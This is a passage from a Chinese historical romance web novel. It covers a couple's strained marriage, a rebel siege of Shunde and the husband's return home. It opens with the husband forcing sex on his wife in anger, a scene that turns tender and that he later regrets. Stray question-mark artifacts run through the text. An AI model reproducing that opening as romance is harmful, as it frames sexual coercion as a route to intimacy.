沈棠宁只是将脸埋在?膝上,埋在?被子里,一人默默地流着眼泪。 …… 她不知自己是什么时候再?次睡着的,模模糊糊被惊醒时,她看见黑暗中一双阴鸷的凤目冷冷地俯视着她。 蓦地,男人沉重的身躯压了下来。 …… 痛、好痛…… 她竭力咬住唇,脸儿?也瞬间便白?了,不停捶打他。 他却好像是在?故意惩罚她一样,居高临下地,冷冷盯她,直到她羞愤地,哀求着哭了出来,忽俯身埋进她的腋窝里,一口?咬在?了她柔软的肩肉上。 ………… 如果?再?继续对抗下去,她讨不到半分?的好。 她只能忍着羞耻抱住了谢瞻,试图减缓他愤怒之下的横冲直撞。 ………… 或许是因为她眼泪中的柔顺包容,又?或许是因为怒气已得到了极大的发泄,渐渐地,他终于不再?那么强硬了。 他也紧紧地回?搂住她,与她十指相扣。 会一点点舔吻她泛红的眼眶,将她眼角流下的委屈的泪水用舌卷入口?中。 ………………………………… 温氏听说昨夜女儿?和女婿大吵了一架,心中颇为不安,半宿没睡好。 离开京城之前,沈棠宁和谢瞻一直闹和离,温氏怎么劝沈棠宁都不管用。 后来叛军攻入城中,女儿?无故失踪,是女婿把她救了回?来,温氏十分?感激。 两人在?外经历了什么温氏不得而知,但?回?到琅琊老宅后,也没闹出要和离的意思,温氏欣慰之余,仍不放心,有几回?陈妈妈还去偷听两人墙角,回?来高兴地和她说姑奶奶和姑爷今夜叫了几回?水云云,自打两人住进老宅,一晚上都没消停过。 温氏责怪陈妈妈多事,叫她不准再?去偷听,否则女儿?肯定害羞不敢见人了。 心里却高兴,心想这小两口?新婚燕尔,正是蜜里调油的时候,女婿又?时常外出打仗,这会儿?住在?一处了,正所谓小别胜新婚,闺房事频繁也正常。 然而听到韶音对她的哭诉之后,温氏心猛地坠了下去。 “你啊你,韶音,你当真糊涂,这么大的事,为何先与我?说,而是自作主?张!” 温氏既气恼萧砚不知分?寸的纠缠,又?迁怒于韶音的自作主?张。 韶音哭着在?地上求温氏饶恕她。 却说这厢,除去两年前那意外的一次,勉强算是初次探索对方身体的两人几乎都一宿舍没睡,相拥着缠绵许久,直到沈棠宁实在?挨不住他贪餍的索求,困倦得昏睡了过去。 一大早谢瞻醒来,看着枕边人腮边犹有泪痕,眼底乌青的可怜样,心中已有了几分?悔意。 睡不着,天?刚蒙蒙亮,白?天?还约好与沂州卫指挥使出城校兵,谢瞻心里烦躁,给?沈棠宁擦净了身子,披衣出门,准备离开。 “贤婿,今日怎么这么早就醒了,可是有要事,不急的话陪我?一道用早膳吧?” 走到一排松墙下,温氏拄着拐杖,站在?第一棵松树下朝着他笑。 虽然眼睛视力恢复了几分?,但?走路还是需要借助拐杖,谢瞻赶紧上去扶住了温氏。 “娘,我?自是有时间的,只是这天?还黑冷着,您怎么就出来了,仔细摔着。”谢瞻说道。 温氏一笑,“你别担心,有陈妈妈他们跟着我?,我?这个?老婆子还摔不倒。” 两人移步到了暖阁里,温氏吩咐丫鬟们去备膳,扭头见谢瞻眼睛直勾勾地盯着一边桌上的琴,便主?动开口?道:“这琴名为独幽,乃是前朝名琴。” 谢瞻眸光闪了闪,垂下了眼。 温氏说道:“说来你们未成婚前,该是没有见过吧?团儿?从小到大,最是爱琴成痴,若是遇见名琴,更是拔不动腿。家里的侄女们一听到要练琴便头疼不已,不是装病便是撒娇卖痴。偏偏她,我?心疼她练到手指出血,不许她再?弹琴,她还瞒着我?夜里把琴偷出来,在?假山洞里练。” 谢瞻想到沈棠宁半夜偷摸取琴的模样,嘴角忍不住向上弯了一下。 温氏无奈叹道:“这个?孩子,别看她表面上最是乖顺懂事,实际不管什么事,心里都有自己的主?意。一旦她自己决定的事情,连我?这个?当娘的也不能置喙。当初她心爱的绿绮琴被毁之后,她回?家偷偷哭了许久,一度不再?碰琴,还将家里所有的琴都收进了库房里,大有一副此生再?不碰琴的样子。” “没想到昨日我?见她买回?这独幽琴,爱不释手地在?手里把玩拨弄,我?便知道她心里彻底放下了那张被毁坏的绿绮。” “做娘的,哪里能不了解自己的女儿?呢?团儿?她越是放不下一个?人的时候,越是会逃避,但?等她真正放下一个?人的时候,反而坦坦荡荡。她肯买回?独幽,恰恰证明她放下了过往,不再?将自己囿于从前。” 谢瞻霍然站了起来。 “娘,抱歉,我?……” 顿了下,他羞愧地道:“我?想到我?还有些事,先走一步了,失陪。” 谢瞻走后,陈妈妈来到温氏身边。 “老夫人,姑爷他是真听懂您的意思了吗,照我?说您还是应该把话说清楚了才是!” 温氏看着女婿高大宽阔的背影,轻轻摇了摇头。 聪明人,不消把话说明白?,自然一点就透。 而不愿相信的人,把话说得再?清楚,他也还是不愿意相信- 白?天?,一整天?谢瞻都不在?。 沈棠宁裁了昨天?买的新布,给?女儿?做衣服。 锦书陪在?一边看圆姐儿?,不时担心地看一眼一整天?一语不发的沈棠宁。 一直到傍晚的时候,见她似乎不太舒服,没精打采,锦书便劝沈棠宁早早睡了。 沈棠宁躺在?床上,闭上眼,听着耳边“噼啪”烧炭声,窗外“呼呼”刮过的风声,正迷迷糊糊间,忽听到有人压低喜悦叫了一声。 “下雪了!” 沈棠宁坐了起来,看向落了细雪的轩窗外。 谢瞻回?来了。 他进了院门,有丫鬟给?他请安,刚出声声音便噤了。 他收回?手,脚步声停在?门前,似乎迟疑住了。 片刻后,他轻声推门进来。 冷风的呜咽声被迅速掩在?屋外,他慢慢走到床前。 隔着薄薄的纱帐,仿佛都能感觉到一股冷气袭来,可见来人在?屋外的冰天?雪地里站了多久。 谢瞻看着帐中的影子,判断出沈棠宁大约是背着他,面朝墙壁那侧侧躺着。 他是习武之人,自然听得出来沈棠宁在?他进来的时候骤然紊乱了一下,以?及眼前强装镇定的呼吸声。 想说什么跟她解释,可一开口?,心里有个?地方却堵得慌,好像堵了一块棉花般不上不下,如鲠在?喉。 白?天?长忠告诉他,萧砚昨日见过沈棠宁后,便连夜离开了琅琊,回?了京都。 是他一时情急,被嫉妒蒙蔽双眼,竟误会她要丢下他和女儿?,与萧砚双宿双栖,做出了无法挽回?的错事。 为什么在?她面前,他永远也做不到像萧仲昀那样对她温柔体贴,懂她心意。 为什么总是那么地愚蠢恶毒,无法控制自己去伤害她。 明明他的心里,对她有那么多的怜惜与心疼…… 本有千言万语藏在?心底,想问问这两年来她心里可曾有过他,哪怕只有一点点。 他待她的好,不希求她的回?报,但?至少她能够看到,能感觉得到。 想要再?求她原谅他,告诉她他不想失去她,还能不能再?给?他一次悔改的机会。 那些压抑在?内心深处的情愫,因为他的骄傲和自尊从来不敢宣之于口?,已犹如毒药般日夜磋磨腐蚀着谢瞻的心。 大错已经铸成,然而看着她的背影,他最终却连开口?问一句的勇气也没有。 他,太骄傲了。 哪怕是在?心爱的女子面前。 长夜漫漫,更漏一点点地滴落下去,窗外也逐渐由盐粒细雪转为漫天?的鹅毛大雪。 谢瞻站了好一会儿?,就在?以?为沈棠宁以?为他要一直站下去的时候,轻轻的置物声响起。 接着,便是开门离开的声音。 沈棠宁掀起帐子时,谢瞻早已不在?。 唯有地上的一滩水渍,以?及白?底青花的瓷瓶在?黑夜里的月光下散发着幽幽白?润的光芒,证明有人来过- 十一月二十一,宗缙在?大同突然暴毙。 其子宗瑁即皇帝位,为大燕国第二位皇帝。 三日之后,宗瑁即联合率领二十万叛军并一万契族铁骑亲自攻陷了西京长安城,打了朝廷一个?措手不及。 宗瑁攻下长安城后,大肆封赏敛财,收买人心,叛军气势高涨,扼住陕西咽喉后,他野心勃勃,又?马不停蹄下令兵分?两路包抄,兵锋直指河南。 一旦河南沦陷,刚被收复的河北必定人心惶然,朝廷将有大半壁江山落入叛军手中,对朝廷政权呈现包围之势。 隆德帝没想到宗瑁竟有如此雄心,毕竟宗瑁在?京都城为质的时候,表现出来的完全是个?纨绔子弟的模样,章台走马,斗鸡走狗,无恶不作。 就连宗缙册封他为太子,也完全是为了摆出一副嫡子正统的姿态来合法自己的叛军政权。 接到隆德帝的圣旨后,谢瞻第一时间筹措军粮,动员山东河北等地兵马。 事发仓促,第二日他便不得不离开率领轻骑匆匆离开琅琊西往河北,预备在?那与郭尚的十五万大军汇合一处,共同应对宗瑁的三十万铁骑。 西京长安。 宗瑁阴沉地盯着蓟州来使,忽哈哈大笑了起来。 “想当年朕还要称节度使一声阿祖,如今阿祖既病了,朕心里自然担忧,还望阿祖能安心养病,恕朕不能亲自去探望,你带了礼物回?去,顺道帮朕稍句话。” 宗瑁双目冷冷地看向脚下,一字一句地道:“让他好好养病,朕,还有大用他的一日!” 丹陛下这位来使不是旁人,正是蓟州节度使张元伦的心腹宦官。 自从宗缙登基为帝之后,便将原本的蓟州重新划给?了他的义父张元伦。 说是义父,实则张元伦比宗缙也就大十岁。 今年七月,张元伦在?河北战败后,狼狈逃去安徽,在?安徽四处遭官兵追击,抱头鼠窜,遂一路收拢残兵败将,逃回?自己的大本营蓟州驻守。 宗瑁登基后野心勃勃想要夺回?河北,不惜御驾亲征,就是想以?迅雷不及掩耳之势打朝廷一个?措手不及。 对于契人而言,只要宗瑁肯给?好处,父子俩谁当皇帝他们不在?乎。 自从居庸关?一役后,燕国元气大伤,契人又?不肯真心合作,宗瑁便将主?意打到了张元伦手中十余万的蓟州骑兵身上。 然而面对新皇为帅的诏令,张元伦却以?重病为由婉拒。 实际上,张元伦就是不服宗瑁。 想宗瑁今年不过才二十出头,他爹宗缙怎么死的都是两说,如今宗瑁让他派兵去帮他攻打打河南,但?蓟州这些骑兵都是张元伦老部下,是他耗费了几十年才培养出来心血。 宗瑁仅凭一纸诏书就要征调节制,要这个?元老级人物对他俯首帖耳,张元伦除非脑子被驴踢了才会答应。 张元伦派来回?复宗瑁的这个?使者宦官,表面上恭敬客气,意思却只有一个?—— 他病了,要兵没有,要钱粮更没门! 宗瑁心内早就怒意滔天?,面上却知张元伦在?军中素有威望,眼下非常时期,不好轻易与张元伦撕破脸,只能拿下河南后再?与他秋后算账。 当即下诏封张元伦为颍川王,命人抬了数十箱珍宝灵药,并自己的心腹丞相阿史那承绍、曹王宗正德等人随使者前往蓟州,名为探病赐赏,实为监视。 命曹王宗正德手中持节,一旦发现张元伦有反叛之疑,就地格杀勿论。 不提宗瑁如何分?化内部纷争,却说隆德三十二年十二月,谢瞻前往河北顺德,调山东河北两地精锐部队赶往河南。 恰逢宗瑁自西京,蔡、高、夏三员大将分?别自河北博陵、山西上党与潞安三地率兵共十万大军围攻顺德,企图阻止谢瞻支援河南,收复河北。 河北精锐被调离之后,只有三千卫兵与当地两千地方团练,这些不足五千人的官兵,该如何应对宗瑁与契人气势汹汹的十万大军? “下这样大的雪,也不知道姑爷他们在?顺德如何了。” 锦书望着窗外的一片白?茫,叹气道。 忽听“嘶”的一声,忙转过身去,却是沈棠宁被针尖刺破的指腹。 锦书要给?她包扎,沈棠宁只用帕子缠住了止血,将尚未缝好的棉衣重新放回?了桌上。 “时辰不早了,外面的粥都熬好了吧?” 入冬以?来,各地灾情战祸连绵不断,流民聚在?琅琊城外无处可去,沈棠宁和谢嘉妤一起在?城外搭建了粥棚每月逢五逢十的日子在?外施粥。 今日正是十二月的望日,一大早沈棠宁与锦书在?长忠与谢瞻留下的侍卫护送下率先赶到了城外粥棚。 为了防止灾民哄抢,沈棠宁在?粥棚旁边又?搭建了四五个?吃粥棚,男女分?开,摆上板凳,每个?吃粥棚都有三人来回?巡视看管。 但?凡来领粥的流民都必须在?棚子里吃完才能走,而还想要拿走馒头的流民则必须要登记造册,填上姓名后由专人领着去城中的织造坊给?前线的士兵缝制棉被棉衣。 任务全部完成之后,就可以?吃到更为可口?的饭菜。 原本冬日士兵们的装备在?春夏两季就应该全部完成,但?今年宗张骤然起事,朝廷军资准备不及,两军休战后又?元气大伤。 谢嘉妤的二叔任琅琊县令,织造坊的事务堆积如山,急得王二叔四处召集绣娘缝做衣服,一连数日都没回?家宿在?衙门里,谢嘉妤和沈棠宁聊天?,无意将这事透露给?她。 沈棠宁想到在?宁州时郭夫人是如此安置流民,便如法炮制,果?然既解决了流民因吃不饱饭聚众喧闹哄抢的问题,又?能如期完成朝廷派下的任务,倒治好了王二叔的头疼病。 不过,这法子沈棠宁嘱咐过谢嘉妤别告诉王家众人,只说是谢嘉妤的主?意 离开琅琊的那晚,谢瞻便将天?蚕蛾的解药给?了沈棠宁,一个?青色的瓷瓶。 服下药后,沈棠宁除了刚开始几晚身上有些燥热难受外,再?没犯过病。 谢瞻走得匆忙,两人无法商议和离事宜,但?沈棠宁有预感,也许谢瞻凯旋的那一日,便是两人和离之时。 既然王家人不喜欢她,她也不会傻到主?动去自讨苦吃,与王家人来往。 “哭哭哭,就知道哭,再?哭你就饿死在?这儿?吧,我?没你这个?赔钱货!” 耳旁突然响起孩童刺耳的啼哭声。 锦书看到自己主?子从粥棚中走了出去,忙紧张地跟上去。 主?仆两人还未近前,忽听身后传来一阵马蹄哒哒之声,原来一匹惊马正朝着城内的方向狂奔,将四周的路人吓得四散而逃。 那马上之人一面制马一面大声喊道:“快让开,这马受惊了,快让开!” 好巧不巧,那马竟是直冲着那幼童而去,伴随着锦书的一声尖叫,千钧一发之际,人群中突然冲出一个?人来,搂了孩子向后一拽。 惊马飞奔了过去。 “小心!” 沈棠宁疾步走到那吓呆的孩子面前,将她飞快搂进了自己的怀里。 “乖!没事了,没事了!”她柔声安抚。 小女孩脸上脏兮兮的,也不答话。一双大大的眼睛里噙满了泪水,怀里还宝贝似的抱着一半脏了的馒头,看得叫人很是心疼。 待安抚完这孩子,沈棠宁吃力地抱起了这孩子,想领着她去找她爹娘。 “夫人,你没事吧?” 头顶上传来一道熟悉而清润的声音。 沈棠宁起身说:“多谢,我?……” 一语未落,待两人看清对方的面貌,皆是一愣。 60-70 第61章 两人看清对方的面貌之后,皆是一愣。 还未等沈棠宁开口,男人便微微笑?了起来。 “原来是夫人,我们二人倒真?是有缘,又相见?了。” “你是……那日救我的公子?”沈棠宁也认出了来人,惊喜道?。 男人说:“夫人美貌,令人见?之忘俗,某不敢忘。” 这男人口中夸赞沈棠宁貌美,说来是有几分揶揄,然而不知为?何,沈棠宁心里却并?不觉得这是冒犯,反而心生亲近之意。 这小女孩显然是被刚才的变故吓傻了,呆呆地瞪着?一双大眼睛不敢说话。 那厢长忠已将惊马制服,沈棠宁看着?长忠,忽然想到什么,犹豫了一下?,向他?的身后看去。 男人身后依旧跟着?上次沈棠宁见?过的两个仆从?,这两人依旧皆是本朝的商人打扮,但细看五官,却都是周人模样。 上次长忠便告诫过沈棠宁,这几人极有可能是契人的探子,既然是探子,难道?他?们会不知道?她的身份吗,竟还会三?番两次地救她帮她…… “夫人!” 长忠见?她似乎是在与谁交谈,喊了一声,安顿好惊马,旋即便不放心地朝着?她疾步走了过来。 男人十分警惕,大概也知道?长忠曾经搜捕过他?们,在长忠扭头不放心朝沈棠宁的方向看过来的时候,深深看了一眼沈棠宁,没再打招呼,转身快步走了。 等沈棠宁回?过神来,男人和他?的仆从?们已消失在了人海之中。 他?离开的位置,静静地躺着?一物。 沈棠宁上前捡了起来。 这是一枚金镶玉的玉牌,触手滑润,在手中沉甸甸的,分量很足,上面雕刻着?一些繁复古怪的图案。 沈棠宁看不懂,细看来似乎是对称的纹饰,上面浮雕着?一种面相凶狠的兽类。 “夫人,您没事吧!” 这时,背后传来长忠的声音,他?喘着?气?到了沈棠宁的面前。 人海中,男人身边的侍从?见?玉牌丢失,大吃一惊,脸上立即露出了凶色,悄悄抽出了藏在袖中的匕首。 他?想杀人灭口。 “站住!” 男人抓住仆从?的手腕。 “拖剌,不准轻举妄动!”他?低声警告。 …… 这主仆三?人自然便是扮成商人的伯都、拖剌以及两人的一名随从?。 今次伯都来到琅琊,乃是预备取道?琅琊前往济南,寻找一位他?在济南的老朋友蒙真?。 蒙真?本是契人降将,与察兰汗妃有故交,在西契时曾承蒙察兰汗妃恩惠。 投降大周后,蒙真?便做了济南卫的指挥同知,伯都这次来济南,正是希望蒙真?能在其中穿针引线。 如今土勒与宗瑁通力合作,预备除去察兰汗妃在西契的势力,你有张良计,我有穿墙梯,察兰汗妃自然也不是吃素的,她要?与大周合作,派她的西契勇士支援前线的周人士卒,要?求便是大周需要?扶持西契,帮助她的儿子呙力顺利继位下?一任汗王。 三?人坐上马车,顺利进了琅琊城门。 与此同时,也有两辆马车一前一后驶出了城门。 一辆标有王氏徽记的翠幄清油车上,谢嘉妤率先跳下?来。 紧接着?,温氏由陈妈妈与滴珠扶了下?来。 “嫂嫂!” 少女清脆的声音响起,紧接着?,一个妇人温和的声音也传了过来。 “团儿,这样冷的天?,你……” 团儿? 伯都一怔。 梦里,他?好像听过这样温柔熟悉的呼唤…… 他?猛地掀开帏帘,向车后望去。 “副使,又出什么事了?”拖剌立即紧张地问。 喧嚷的人群之中,伯都隐约看到马车上走下?一个身着?深紫色长衫长裙的妇人。 很快,那妇人又被淹没在来来往往的人群之中。 “没什么。” 伯都放下?帏帘,淡道?。 拖剌向后瞟了一眼,心念微转。 他?们主子已经丧妻四年,这日子过得简直猪狗不如,是时候该再续弦了,娶一房美貌的新夫人了。 拖刺想着?,便用中原话说道?:“您若是喜欢那女子,不如属下?今晚帮您把?她掳来……” 伯都皱眉,沉声道?:“拖剌,别忘了我们来济南的目的!” 拖剌轻咳一声,忙收敛的调侃之色。 “属下?冒犯了,只是玩笑?话。” …… 沈棠宁看见?王钦在一侧的马上,微微诧异,恭敬地走到马侧冲他?施礼。 “大人。” 王钦今日出门办事,顺道?把?谢嘉妤送了过来,半路恰好遇到惦记着天冷来给沈棠宁送衣服的温氏,三人遂一路过来了。 王钦略颔首,掉马离开。 “大人!” 沈棠宁突然上前几步,叫住王钦道?:“大人,可否借一步说话。” 别看王钦今年六十了,身体还相当矍铄,骑马打猎犹不在话下?,就连这张脸看起来也不过四十几岁。 两人借道?一侧无人的小路上,王钦仍坐在马上,居高临下?地看着?提着?裙摆匆匆赶来,风尘仆仆的沈棠宁。 “大人,今日是妾唐突了,这两日妾听到一些流言,阿瞻他?被宗逆围困在了顺德……不知消息是否属实?” 王钦颔道?:“确然。” 沈棠宁心一沉。 “那朝廷的援军几时能到?” 王钦沉默。 “不知。”片刻后,他?如实道?。 以朝廷如今的兵力,能调出这些精锐去保卫河南已是不易,且不说朝廷有没有这些人手,即使援军想去驰援谢瞻,光是调集军队、冒着?泥泞的雪日赶到河北最短的时间?也要?月余。 这些话,王钦原本不想解释,毕竟一个妇道?人家说了也未必懂。 但或许是因为?沈棠宁一瞬间?苍白?脆弱的脸色,令王钦生了几分不忍之意,他?把?这些道?理用通俗易懂的话告诉了沈棠宁。 “多谢大人告知,妾无事了。” 沈棠宁隐去眼底的忧色,感激道?。 “担心他??”王钦和缓了声,问。 沈棠宁点头。她当然知道?谢瞻很聪明,就连张元伦那样的骁勇之人都被他?打得节节败退。 只是,知道?是一回?事,她还是会忍不住担心。 王钦却云淡风轻道?:“放心吧,你夫君不是寻常人,他?自有计策应对。” 野战,谢瞻或许略逊郭尚一筹。 但守城,是耿忠慎之长。莫说宗瑁,便是郭尚也不及谢瞻。 王钦已走出了数步,忽又停下?道?:“流民进织造坊,以役助赈的计策,是你教给嘉妤的?” 沈棠宁一愣,忙道?:“也不全是……” 王钦冲她摆摆手,慢悠悠走了- 王钦表面上安慰沈棠宁,其实他?心里比沈棠宁还要?担心谢瞻这个大孙子。 在他?眼里,大孙子自然哪哪都好,就是太过倨傲,且做事手段强硬。 前不久他?收复河北,又在居庸关俘虏那阔,可谓首居一功,连一向忌惮士族的隆德帝都上赶着?要?把?公主赐给他?做平妻。 结果这个臭小子不知道?是不是志得意满了,居然敢抗旨! 宗瑁大军尚未到来,顺德便已风声鹤唳,城墙上日夜都有士兵守着?,顺德县令李闻主张修筑城墙等防御工事,却被谢瞻断然拒绝。 “顺德城方圆四十里,此时修筑工事,不过徒劳耗费人力,叛军未至而我军先疲,城墙都不一定能筑成,君难道?要?以疲军应对士气?高涨的叛军?” 李闻闻言讷讷不语,众将士也皆不敢反驳,口中道?着?将军高见?。 不怪他?们个个吓得跟缩头鹌鹑似的,实在是这位年纪轻轻的河北节度使手段太过雷厉风行。 前任河北节度使死在张元伦手下?后,谢瞻未至河北之前,河北军务乃是由朝廷派出的侍御史吴尧暂领。 吴尧此人好大喜功,偏又无半分才干,仅凭一张巧嘴,强占手下?将士功劳不说,先前谢瞻在河北领兵作战时他?便多次不听谢瞻的命令冒进。 亏得郭尚处事圆融,在其中斡旋,告诫吴尧是隆德帝亲信,不可轻易得罪,谢瞻方忍他?这般久。 此次谢瞻任河北、河南两地节度使,到达顺德交接军务,按理说谢瞻任两地节度使,地位比吴尧还要?高一级,吴尧却悠然坐在衙中,等谢瞻进门拜见?他?。 谢瞻进门之后,他?又决口不提交接军务一事,满嘴的歌舞接风。 见?谢瞻一语不发,还以为?是个好欺负的,谁知正说到兴头上的时候,谢瞻勃然大怒,起身掀了桌子,把?刀架在吴尧的脖子上当场就要?砍了他?。 吴尧大惊失色,在院中准备给吴尧颁旨升官的中使听到动静连忙进来,说隆德帝给吴尧升了官,让他?担任御史中丞及河北节度副使协助谢瞻,求谢瞻赶紧消气?放了吴尧。 谢瞻冷笑?道?:“今日我只斩侍御史,若中使宣诏,亦斩中丞!” 那中使看着?谢瞻明晃晃的大刀,唯恐那刀不长眼砍在自己的脑袋上,圣旨都没敢拿出来。 吴尧死后,谢瞻威震三?军,从?此后顺德这些老将没一个人敢不听他?的。 固城自守已来不及,谢瞻亲自带领城中军民在城外挖掘壕沟,五天?的时间?,好歹在叛军到来前挖好。 率先到来的这支叛军是由高仝率领的三?万中路军,将顺德城团团围住,当夜就发动攻势。 谢瞻先以火铳为?第一道?防御,火器结束后,接着?命人将城内楼房拆掉,挑选大块嶙峋的石头用投石机投出城。 高仝方伤亡惨重,不得不暂停了进攻。 这般拉锯了两日,夏桓率领的另一路叛军也到了,夏桓比高仝聪明,事先隐秘踪迹,两军在夜里约定偷偷攻城。 岂料谢瞻早有预料,向城楼下?倾倒滚烫的热水,叛军先是被烫个半死,热水变冷后结成冰,城门楼滑得根本就爬不上去,一个个摔成了孙子。 又几日,宗瑁与蔡绍率领着?五万大军也赶到了顺德城外,高仝与夏桓都气?冲冲地和宗瑁告状。 宗瑁登上高处观察了顺德城的地形,意外发现顺德城内井然有序,今日恰巧逢五,城内竟然还举办了庙会,大街上人来人往,丝毫看不出这是战时状态。 “百密必有一疏。”宗瑁说道?。 谢瞻心思缜密,但四个城门,总有错漏。 宗瑁一过来并?没有急着?便与谢瞻开战,而是命人日夜监视四座城门,寻找这些城门防守的漏洞,尤其是换防、凌晨以及午夜之时。 除夕之夜,宗瑁挑选精锐士卒猛力进攻四座城门,而他?自己则披甲亲自上阵,四座城门轮番进攻,本以为?一定能找到漏洞,没想到这座顺德城还真?被谢瞻守得固若金汤,无懈可击。 当时宗瑁等人来得急并?未携带大炮,为?了炮轰顺德城,宗瑁命三?千余人的部队回?长安城取佛郎机大炮,结果这群人在半道?被谢瞻的骑兵偷袭,几乎全军覆没,将近半数的佛郎机大炮都被谢瞻收入囊中。 除夕一过,宗缙深知不能与谢瞻再这样拉锯下?去,否则他?的燕国士兵千里迢迢远道?而来,长久打不到胜仗,时日一长必定军心动摇,士气?大跌。 于是他?命人每日到城下?叫骂,这宗瑁不知从?何处得知谢瞻的母亲大王氏的死因,那叫骂士卒骂得绘声绘色,造谣谢瞻他?娘是被契人□□后失了贞洁,镇国公谢璁眼见?自己当了绿毛龟一气?之下?怒而杀妻。 这可谓是指着?谢瞻的鼻子骂娘了,恐怕没有几个人能忍。 以谢瞻的脾气?,他?也确实忍不了。 军中有挖矿工擅长挖地道?,谢瞻就专门把?这些人召集起来组织成一支地道?队,白?天?睡觉晚上挖地道?。 说来也巧,那叫骂的士兵每回?叫骂总爱站在城门下?某个位置,于是某日大清晨他?又照例到那位置骂人,正骂到精神抖擞处,脚底下?突然伸出一只手将他?拖了下?去。 燕军营里个个都说见?鬼了,那士卒青天?白?日的就凭空消失不见?,半个时辰后出现在城墙上,被谢瞻亲自斩首示众,尸身和首级分别吊在城门楼上,死状十分凄惨可怖。 每当叛军预备攻城,刚推过去的攻城器械下?面总会莫名其妙地出现空洞,地面一塌陷,上面的器械支撑不住力气?倒下?,反而将燕卒砸得伤亡惨重。 你若说这用挖地道?的方式能歼灭多少敌人的有生力量?那恐怕是九牛一毫。 但很显然,它极大地扰乱了叛军的军心。 有很长一段时间?叛军军营的士兵们走路,打仗,攻城时都要?紧盯着?脚底下?,因为?他?们担心脚下?会冷不防伸出只手将他?们拖走。 宗瑁离开大同时带走了大量的精锐之师,对于张元伦,他?也用怀柔之策派去心腹监视,并?不准备分心先解决内部矛盾。 然而张元伦却设计杀了宗瑁心腹,并?趁宗瑁与朝廷开?*战无暇顾及之时,带人突袭了宗瑁的老巢,燕国都城大同。 宗瑁既惊且怒,不得不放弃顺德匆匆回?援。 宗瑁一走,瞬间?顺德城压力倍减。 蔡高两人以为?强攻胜算不大,故预备将谢瞻等人困死在顺德城中。 自从?宗瑁来围城之后,谢瞻就住在了城门东南角的大帐之中,就连除夕之夜都没回?衙门住一日。 一更时分。 谢瞻躺在军床上睡不着?。 借着?帐中透进的月色,他?从?怀中取出一方被叠得平整的白?绫丝帕,在月光下?凝视。 那丝帕一看便不惯用,被叠得压出了折痕,丝帕中央绣着?两朵淡粉色的海棠花。 他?伸出手,轻轻抚摸着?这两朵绣的娇滴可爱的小花,深嗅一口,仿佛还能闻到丝帕主人身上恬淡的幽香。 四月是海棠盛开的季节,等他?回?到琅琊,海棠花已经盛放了吧?离开时女儿才刚学会在地上爬,下?次再见?,应该会走了吧? 良久,谢瞻闭上他?那双已满是红血丝的眼。 睡不着?时,他?时常会想起那一晚,那个疯狂的夜晚。 他?到底还是不顾她的意愿强占了她,伤了她的心,即使回?去,她也不会再想见?他?了吧? 三?更时分,谢瞻收了帕子及所有情?绪,出大帐召集部队。 顺德城内粮草即将断绝,无法再支撑叛军的围城之术。 今夜,将是他?与叛军的决战,胜负全在此一役。 隆德三?十三?年三?月二十,谢瞻出城与留守顺德城的叛军首领蔡绍高桓决战,搏杀三?天?三?夜。 这一战,蔡绍大败战死,高桓遁逃,燕军更是伤亡惨重,被斩首三?万余人,俘虏一万人,近乎全军覆没。 顺德保卫战,毫无意外朝廷大获全胜,以一万散兵游勇对战十万精锐强敌,重挫宗瑁叛军,创造了以一当十的神话。 消息传到京师,隆德帝龙心大悦,朝庭上下?无不欢欣鼓舞,感慨万千。 当初谢瞻拒娶公主,什么赏赐都不要?,这次隆德帝也不再强迫他?,下?召册封谢瞻为?户部尚书,河北河南及山东三?镇节度使,爵临淮郡王。 朝会散后,东宫。 “咱们大周已经出了一个宗缙和张元伦,这两人可都是曾经的三?镇节度使,父皇已经年迈昏聩,他?却手握大权,尽得民心,皇兄,你不得不防啊!” 梁王意有所指道?。 太子蓦地看向梁王,眼中迸射出阴冷的警告。 “再胡言乱语,你就从?东宫滚出去!” ……………………… 五月,沈棠宁站在雕花轩窗下?看着?满地落英。 昨夜落了一场雨,今早一起,刚盛放了没几日的海棠竟落了满地。 风一吹,淡粉色的花瓣随风卷起,又飘落到尘埃里。 花无几日好,海棠花再美,也不过是几日的花期,疾风骤雨一过,便呈现出衰败凋零之态。 沈棠宁顿觉兴致缺缺,让锦书把?窗户关了。 圆姐儿蹒跚朝着?沈棠宁扑过来,嘤嘤呜呜地撒娇让她抱抱。 “娘娘,抱抱!” 沈棠宁看着?天?真?无邪的女儿,笑?了起来。 好像没那么难过了。 抱着?圆姐儿去了温氏那儿吃完了早饭,小丫头嚷着?要?去小花园里扑蝴蝶,沈棠宁便给小丫头穿上新作的衣服,娘仨并?几个丫鬟来到花园的小亭子里。 雨后空气?清新,阳光明媚,花园中处处都是芳草泥土清新的味道?,沈棠宁站在树下?,一面打着?扇子,一面看锦书抱着?女儿扑蝶,神思却不知飞到何处去。 忽小厮高兴地来报,道?是姑爷回?来了,已经到大门首外! 锦书一喜,连忙看向沈棠宁,疾步过来。 “姑娘,姑娘!姑爷回?来了,咱们带着?圆姐儿一块去迎吧!” 沈棠宁怔了一下?。 良久才反应过来,立即起身道?:“你……你抱着?圆儿先去吧,我不大舒服,想在这里吹吹风坐坐。” 锦书忙道?:“哪里不舒服,要?不要?我去请大夫给您瞧瞧?” 沈棠宁说不用,好说歹说,锦书才抱着?圆姐儿走了。 谢瞻回?来了…… 沈棠宁心里有些乱。 她吐出口气?,又坐了回?去。 或许是因为?那晚激烈的争执,又或许是因为?那晚两人近似疯狂的缠.绵,在谢瞻走后的很长一段时间?,她都不知道?该如何去面对他?。 包括现在。 听到谢瞻回?家的消息,全家人都惊喜不已。 她当然也高兴,只是第一个念头却是忐忑不安,想要?逃离。 按理说,她已嫁为?人妇,还与谢瞻共同孕育了一个女儿,女儿都一岁多了,两人期间?也有过无数次肌肤之亲,她早就不是完璧之身,怎么还和那些未出阁的少女一般? 在少女身上是含羞纯真?,放在她身上,那便是矫情?了。 这般一想,沈棠宁心里就平静了许多。 罢了,事已至此,多想无益。 雨后蚯蚓喜欢钻出地面透气?,小时候沈棠宁最恶心这种软长的虫子,见?着?就要?反胃。 尤其是风一吹,空气?中还飘来那种带着?腥气?的土壤味,她突然就有些恶心,忍不住捂着?嘴反胃起来。 没注意到站在栅栏后许久的人影已经三?步并?做两步飞快地绕过亭子,走到了她的身后。 “团儿,是哪里不舒服?” 一语未落,一双大手便落在了她的腰间?与肩膀上,吐出的关切话语也热热地传入了她的耳中。 沈棠宁被他?触碰过的地方,登时僵住了。 火热的温度透过薄薄的衣料清晰地熨烫到她的肌肤上,男人的身上,犹带着?一路风尘仆仆与他?身上独有的浓烈的瑞脑香气?,四面八方地涌入了她的鼻中。 